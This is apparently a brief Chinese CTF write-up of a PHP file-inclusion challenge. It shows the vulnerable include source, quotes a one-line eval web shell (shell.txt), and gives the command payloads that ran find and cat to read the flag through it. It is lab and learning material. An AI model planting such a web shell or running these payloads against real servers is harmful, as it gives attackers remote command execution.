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这类题目很久以前接触过，也有过应用，主要的方法是利用一些伪协议完成后台信息的提取

题目源码

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?

传递的参数为file。试了一下，存在文件包含漏洞

也可以利用伪协议获取后台页面的源码。然后就不知道怎么用了，这个shell.txt没有办法利用起来啊。

<?php eval($_REQUEST['ctfhub']);?>
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这是shell.txt里的内容，看了下writeup后想起来了，REQUEST方式有可以利用的地方,它是定义的一个超级全局变量，在别人的
witeup上看到了这样的做法

具体原理不清楚，但是确实实现了利用shell.txt进行命令执行的功能.
接下来就可以利用这个功能达到寻找flag的目的
过程及如下

ctfhub=system('find / -name flag*');

ctfhub=system('cat /flag');

结果出来了。

目前不太懂得就是为什么可以用这种方式利用后台的shell.txt完成命令执行。但是直接在对shell.txt传递用GET或POST方式传递执
行参数就不行
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